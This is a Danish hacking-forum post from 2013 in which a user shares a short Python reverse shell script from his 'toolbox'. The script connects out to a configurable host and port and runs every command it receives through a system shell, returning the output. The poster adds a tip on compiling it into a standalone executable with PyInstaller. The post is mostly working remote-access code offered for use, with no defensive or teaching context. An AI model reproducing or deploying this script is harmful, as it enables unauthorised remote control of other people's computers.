Denne side bruger cookies
Dette forum bruger cookies. Hvis du er registreret, bruges de til at huske hvem du er logget ind som. Hvis ikke, gemmer vi dit sidste besøgstidspunkt. Besøgstidspunktet bruges bl.a. til at holde øje med, hvilke tråde du allerede har læst. Cookies er små tekstdokumenter, som bliver gemt i din browser og udgør ingen sikkerhedsrisiko. Tryk "Mere Information" nedenfor, for en liste over de cookies vi sætter. Du har mulighed for at fravælge cookies ved at klikke på knappen "Blokér Cookies" i bunden af denne boks.

En ikke-personhenførbar cookie vil blive gemt i din browser, uanset dit valg (Medmindre du ikke foretager et). Således undgår du at blive spurgt igen. Du kan til enhver tid ændre dit valg via linket i bunden af siden.

Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Python Remote Shell Access
27-05-2013, 21:34
#1
Python Remote Shell Access
Et hurtigt lille script jeg har samlet.
Kode:
#!/usr/bin/python

import subprocess, socket

HOST = "127.0.0.1"
PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send("Welcome Op3rat0r!\n")

while 1:
    data = s.recv(1024)

    if data == "exit\n":
        s.send("Op3rat0r Out")
        break
    else:
        process = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                                        stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdoutput = process.stdout.read() + process.stderr.read()

        s.send(stdoutput)
s.close()

Som sagt, et ganske simpelt lille script. Det har sine begrænsninger. Man kan "compile" det til machine code med PyInstaller, men så skal man finde sig i størrelsen (2MB+).

Ovenstående et et udklip af min "værktøjskasse" - Forvent at se mere af det hen ad vejen.

Kom endeligt med spørgsmål & kommentare her i tråden eller på PM!
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)